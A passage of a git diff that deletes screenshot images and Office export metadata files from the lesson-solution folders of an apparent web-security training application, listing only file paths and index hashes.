a/src/main/webapp/lesson_solutions/JSONInjection_files/image013.jpg b/src/main/webapp/lesson_solutions/JSONInjection_files/image013.jpg deleted file mode 100644 index 21504eb14..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image013.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image014.jpg b/src/main/webapp/lesson_solutions/JSONInjection_files/image014.jpg deleted file mode 100644 index cf6cc7471..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image014.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image015.jpg b/src/main/webapp/lesson_solutions/JSONInjection_files/image015.jpg deleted file mode 100644 index ccd96c071..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image016.jpg b/src/main/webapp/lesson_solutions/JSONInjection_files/image016.jpg deleted file mode 100644 index 3710a91c1..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image016.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image017.jpg b/src/main/webapp/lesson_solutions/JSONInjection_files/image017.jpg deleted file mode 100644 index fecffb54d..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image017.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image018.jpg b/src/main/webapp/lesson_solutions/JSONInjection_files/image018.jpg deleted file mode 100644 index f4edbeeb7..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image018.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/JSONInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/filelist.xml b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/filelist.xml deleted file mode 100644 index aa9eb0b16..000000000 --- a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/filelist.xml +++ /dev/null @@ -1,29 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image001.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image001.png deleted file mode 100644 index bb24a6c8f..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image002.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image002.jpg deleted file mode 100644 index ac600b733..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image003.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image003.png deleted file mode 100644 index 20f3f3871..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image004.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image004.jpg deleted file mode 100644 index 0ffa3bfe7..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image005.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image005.png deleted file mode 100644 index a189bb3d8..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image006.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image006.jpg deleted file mode 100644 index 2e361f07f..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image007.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image007.png deleted file mode 100644 index 2e74b5ec7..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image008.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image008.jpg deleted file mode 100644 index 34cf88ebb..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image009.gif b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image009.gif deleted file mode 100644 index 1779f251e..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image009.gif and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image010.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image010.png deleted file mode 100644 index 88661381a..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image010.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image011.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image011.jpg deleted file mode 100644 index ab68d0731..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image012.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image012.png deleted file mode 100644 index 4d3ab3e2f..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image012.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image013.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image013.jpg deleted file mode 100644 index 3ba19dd7e..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image013.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image014.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image014.png deleted file mode 100644 index 90ea086b2..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image014.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image015.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image015.jpg deleted file mode 100644 index 47033c76c..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image016.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image016.png deleted file mode 100644 index 36393c423..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image016.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image017.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image017.jpg deleted file mode 100644 index 02087fd18..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image017.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image018.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image018.png deleted file mode 100644 index 6fa005b7c..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image018.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image019.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image019.jpg deleted file mode 100644 index fa77e0a36..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image019.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image020.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image020.png deleted file mode 100644 index 43737e5d1..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image020.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image021.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image021.jpg deleted file mode 100644 index 9cde03d4b..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image021.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image022.png b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image022.png deleted file mode 100644 index 24ef81f2b..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image022.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image023.jpg b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image023.jpg deleted file mode 100644 index 8fbe215fd..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image023.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/themedata.thmx b/src/main/webapp/lesson_solutions/JavaScriptValidation_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/JavaScriptValidation_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/Thumbs.db b/src/main/webapp/lesson_solutions/LogSpoofing_files/Thumbs.db deleted file mode 100644 index c8864bbfb..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/Thumbs.db and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/LogSpoofing_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/LogSpoofing_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/filelist.xml b/src/main/webapp/lesson_solutions/LogSpoofing_files/filelist.xml deleted file mode 100644 index 66f2f27d6..000000000 --- a/src/main/webapp/lesson_solutions/LogSpoofing_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/image001.png b/src/main/webapp/lesson_solutions/LogSpoofing_files/image001.png deleted file mode 100644 index 59ffaca93..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/image003.png b/src/main/webapp/lesson_solutions/LogSpoofing_files/image003.png deleted file mode 100644 index 100684c5f..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/image005.png b/src/main/webapp/lesson_solutions/LogSpoofing_files/image005.png deleted file mode 100644 index 0174b03b0..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/image007.jpg b/src/main/webapp/lesson_solutions/LogSpoofing_files/image007.jpg deleted file mode 100644 index 50abf182f..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/image007.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/image008.jpg b/src/main/webapp/lesson_solutions/LogSpoofing_files/image008.jpg deleted file mode 100644 index afd0c3eb3..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/image009.jpg b/src/main/webapp/lesson_solutions/LogSpoofing_files/image009.jpg deleted file mode 100644 index 259e28f16..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/LogSpoofing_files/themedata.thmx b/src/main/webapp/lesson_solutions/LogSpoofing_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/LogSpoofing_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image001.jpg b/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image001.jpg deleted file mode 100644 index 4c69a2352..000000000 Binary files a/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image002.jpg b/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image002.jpg deleted file mode 100644 index 8a2189e3e..000000000 Binary files a/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/login.png b/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/login.png deleted file mode 100644 index 2cf17feb8..000000000 Binary files a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/login.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/success.png b/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/success.png deleted file mode 100644 index 3179d178e..000000000 Binary files a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/success.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/tan.png b/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/tan.png deleted file mode 100644 index 896334751..000000000 Binary files a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/tan.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/webscarab.png b/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/webscarab.png deleted file mode 100644 index 75acaa951..000000000 Binary files a/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/webscarab.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/MultiLevelLogin2_files/success.png b/src/main/webapp/lesson_solutions/MultiLevelLogin2_files/success.png deleted file mode 100644 index 86bad431a..000000000 Binary files a/src/main/webapp/lesson_solutions/MultiLevelLogin2_files/success.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PasswordStrength_files/image001.jpg b/src/main/webapp/lesson_solutions/PasswordStrength_files/image001.jpg deleted file mode 100644 index ea9895612..000000000 Binary files a/src/main/webapp/lesson_solutions/PasswordStrength_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PasswordStrength_files/image002.jpg b/src/main/webapp/lesson_solutions/PasswordStrength_files/image002.jpg deleted file mode 100644 index ee40403cf..000000000 Binary files a/src/main/webapp/lesson_solutions/PasswordStrength_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/filelist.xml b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/filelist.xml deleted file mode 100644 index 496ea3696..000000000 --- a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image001.png b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image001.png deleted file mode 100644 index 089968f01..000000000 Binary files a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image002.jpg b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image002.jpg deleted file mode 100644 index 4d4b17604..000000000 Binary files a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image003.png b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image003.png deleted file mode 100644 index 0bc317162..000000000 Binary files a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image004.jpg b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image004.jpg deleted file mode 100644 index 7978fe44b..000000000 Binary files a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image005.png b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image005.png deleted file mode 100644 index 4f0de1d74..000000000 Binary files a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image006.jpg b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image006.jpg deleted file mode 100644 index 4d4491eb3..000000000 Binary files a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/themedata.thmx b/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/Phishing_files/image001.jpg b/src/main/webapp/lesson_solutions/Phishing_files/image001.jpg deleted file mode 100644 index 967ebaa4c..000000000 Binary files a/src/main/webapp/lesson_solutions/Phishing_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ReflectedXSS_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/ReflectedXSS_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/ReflectedXSS_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ReflectedXSS_files/filelist.xml b/src/main/webapp/lesson_solutions/ReflectedXSS_files/filelist.xml deleted file mode 100644 index 8ebcbe37d..000000000 --- a/src/main/webapp/lesson_solutions/ReflectedXSS_files/filelist.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image001.png b/src/main/webapp/lesson_solutions/ReflectedXSS_files/image001.png deleted file mode 100644 index 6ff72a45b..000000000 Binary files a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image003.png b/src/main/webapp/lesson_solutions/ReflectedXSS_files/image003.png deleted file mode 100644 index e44f2e566..000000000 Binary files a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image005.jpg b/src/main/webapp/lesson_solutions/ReflectedXSS_files/image005.jpg deleted file mode 100644 index 73cdb0bbf..000000000 Binary files a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image005.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image006.jpg b/src/main/webapp/lesson_solutions/ReflectedXSS_files/image006.jpg deleted file mode 100644 index fb2e1977e..000000000 Binary files a/src/main/webapp/lesson_solutions/ReflectedXSS_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ReflectedXSS_files/themedata.thmx b/src/main/webapp/lesson_solutions/ReflectedXSS_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/ReflectedXSS_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/filelist.xml b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/filelist.xml deleted file mode 100644 index abc27092d..000000000 --- a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image001.png b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image001.png deleted file mode 100644 index eb4392c2d..000000000 Binary files a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image002.jpg b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image002.jpg deleted file mode 100644 index 6301ccbb1..000000000 Binary files a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image003.png b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image003.png deleted file mode 100644 index b6bf2f272..000000000 Binary files a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image004.jpg b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image004.jpg deleted file mode 100644 index d94ac96c1..000000000 Binary files a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image005.png b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image005.png deleted file mode 100644 index 4a274e847..000000000 Binary files a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image006.jpg b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image006.jpg deleted file mode 100644 index b93cbad84..000000000 Binary files a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx b/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage1.png b/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage1.png deleted file mode 100644 index feb782736..000000000 Binary files a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage1.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage2.png b/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage2.png deleted file mode 100644 index 002ceece2..000000000 Binary files a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage2.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage3.png b/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage3.png deleted file mode 100644 index d7c056258..000000000 Binary files a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage3.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_1.png b/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_1.png deleted file mode 100644 index a905298d0..000000000 Binary files a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_1.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_2.png b/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_2.png deleted file mode 100644 index c0579ce8f..000000000 Binary files a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_2.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_success.png b/src/main/webapp/lesson_solutions/SessionFixation_files/sf_success.png deleted file mode 100644 index a3edf2e13..000000000 Binary files a/src/main/webapp/lesson_solutions/SessionFixation_files/sf_success.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/SilentTransactions_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/SilentTransactions_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/filelist.xml b/src/main/webapp/lesson_solutions/SilentTransactions_files/filelist.xml deleted file mode 100644 index dbcf5ad0e..000000000 --- a/src/main/webapp/lesson_solutions/SilentTransactions_files/filelist.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image001.png b/src/main/webapp/lesson_solutions/SilentTransactions_files/image001.png deleted file mode 100644 index 61f7e63a1..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image003.png b/src/main/webapp/lesson_solutions/SilentTransactions_files/image003.png deleted file mode 100644 index faf59c077..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image005.png b/src/main/webapp/lesson_solutions/SilentTransactions_files/image005.png deleted file mode 100644 index 4f4f0608a..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image007.png b/src/main/webapp/lesson_solutions/SilentTransactions_files/image007.png deleted file mode 100644 index 04494b197..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image009.jpg b/src/main/webapp/lesson_solutions/SilentTransactions_files/image009.jpg deleted file mode 100644 index b2529e37c..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image010.jpg b/src/main/webapp/lesson_solutions/SilentTransactions_files/image010.jpg deleted file mode 100644 index da2d8692a..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image010.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image011.jpg b/src/main/webapp/lesson_solutions/SilentTransactions_files/image011.jpg deleted file mode 100644 index efdefff06..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/image012.jpg b/src/main/webapp/lesson_solutions/SilentTransactions_files/image012.jpg deleted file mode 100644 index 8375ab7cd..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/image012.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SilentTransactions_files/themedata.thmx b/src/main/webapp/lesson_solutions/SilentTransactions_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/SilentTransactions_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/SoapRequest_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/SoapRequest_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/filelist.xml b/src/main/webapp/lesson_solutions/SoapRequest_files/filelist.xml deleted file mode 100644 index 2c3012bc9..000000000 --- a/src/main/webapp/lesson_solutions/SoapRequest_files/filelist.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image001.png b/src/main/webapp/lesson_solutions/SoapRequest_files/image001.png deleted file mode 100644 index baa4ba50f..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image002.jpg b/src/main/webapp/lesson_solutions/SoapRequest_files/image002.jpg deleted file mode 100644 index f9ab80c9b..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image003.png b/src/main/webapp/lesson_solutions/SoapRequest_files/image003.png deleted file mode 100644 index ab5ed9af8..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image004.jpg b/src/main/webapp/lesson_solutions/SoapRequest_files/image004.jpg deleted file mode 100644 index c12c37f71..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image005.png 